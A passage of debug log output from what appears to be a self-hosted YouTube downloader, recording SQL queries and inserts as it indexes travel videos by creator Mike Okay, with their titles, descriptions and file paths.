"https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, 3, ~U[2026-06-12 16:37:29Z]] 18:59:27.583 [debug] QUERY OK source="sources" db=0.2ms idle=29.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:27.583 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:27.583 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [190542] 18:59:27.584 [debug] Current batch of media processed. Will check again in 1000ms 18:59:28.584 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "duration" => 1894, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", "id" => "EIlIbE9HuB4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=EIlIbE9HuB4", "playlist_index" => 6, "timestamp" => 1780066592, "title" => "4,000 People Live On Japan's Most Active Volcano", "upload_date" => "20260529"} 18:59:28.585 [debug] QUERY OK source="sources" db=0.2ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:28.585 [debug] QUERY OK source="sources" db=0.2ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:28.586 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 14:56:32Z], 3] 18:59:28.588 [debug] QUERY OK source="media_items" db=1.7ms idle=1002.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "045fa0a1-ca4c-4304-a9ed-ca83bb871292", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", 6, "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, false, false, 3, [], 98, ~U[2026-05-29 14:56:32Z], ~U[2026-08-20 01:59:28Z], ~U[2026-08-20 01:59:28Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, 3, ~U[2026-05-29 14:56:32Z]] 18:59:28.589 [debug] QUERY OK source="sources" db=0.2ms idle=33.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:28.589 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:28.590 [debug] QUERY OK source="media_items" db=0.3ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [129416] 18:59:28.590 [debug] Current batch of media processed. Will check again in 1000ms 18:59:29.591 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "duration" => 2331, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", "id" => "bjb-24XMa1g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bjb-24XMa1g", "playlist_index" => 7, "timestamp" => 1779466243, "title" => "Travelling Across Japan To Poison Myself", "upload_date" => "20260522"} 18:59:29.592 [debug] QUERY OK source="sources" db=0.3ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:29.592 [debug] QUERY OK source="sources" db=0.2ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:29.593 [debug] QUERY OK source="media_items" db=0.4ms idle=1003.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 16:10:43Z], 3] 18:59:29.594 [debug] QUERY OK source="media_items" db=0.9ms idle=1003.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "aa3592f7-7d2b-49be-a4cf-ef4b665539c9", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", 7, "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, false, false, 3, [], 98, ~U[2026-05-22 16:10:43Z], ~U[2026-08-20 01:59:29Z], ~U[2026-08-20 01:59:29Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, 3, ~U[2026-05-22 16:10:43Z]] 18:59:29.595 [debug] QUERY OK source="sources" db=0.2ms idle=37.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:29.595 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:29.596 [debug] QUERY OK source="media_items" db=0.3ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105295] 18:59:29.596 [debug] Current batch of media processed. Will check again in 1000ms 18:59:30.597 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 2112, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", "id" => "CvIFRZqadIU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CvIFRZqadIU", "playlist_index" => 8, "timestamp" => 1777040983, "title" => "Japan Is Losing Something It Can Never Get Back", "upload_date" => "20260424"} 18:59:30.598 [debug] QUERY OK source="sources" db=0.2ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:30.598 [debug] QUERY OK source="sources" db=0.2ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:30.599 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-24 14:29:43Z], 3] 18:59:30.601 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "83bd1642-4312-46eb-8fb6-31efa77315ed", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", 8, "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, false, false, 3, [], 98, ~U[2026-04-24 14:29:43Z], ~U[2026-08-20 01:59:30Z], ~U[2026-08-20 01:59:30Z], "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, 3, ~U[2026-04-24 14:29:43Z]] 18:59:30.601 [debug] QUERY OK source="sources" db=0.3ms idle=41.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:30.601 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:30.602 [debug] QUERY OK source="media_items" db=0.3ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", 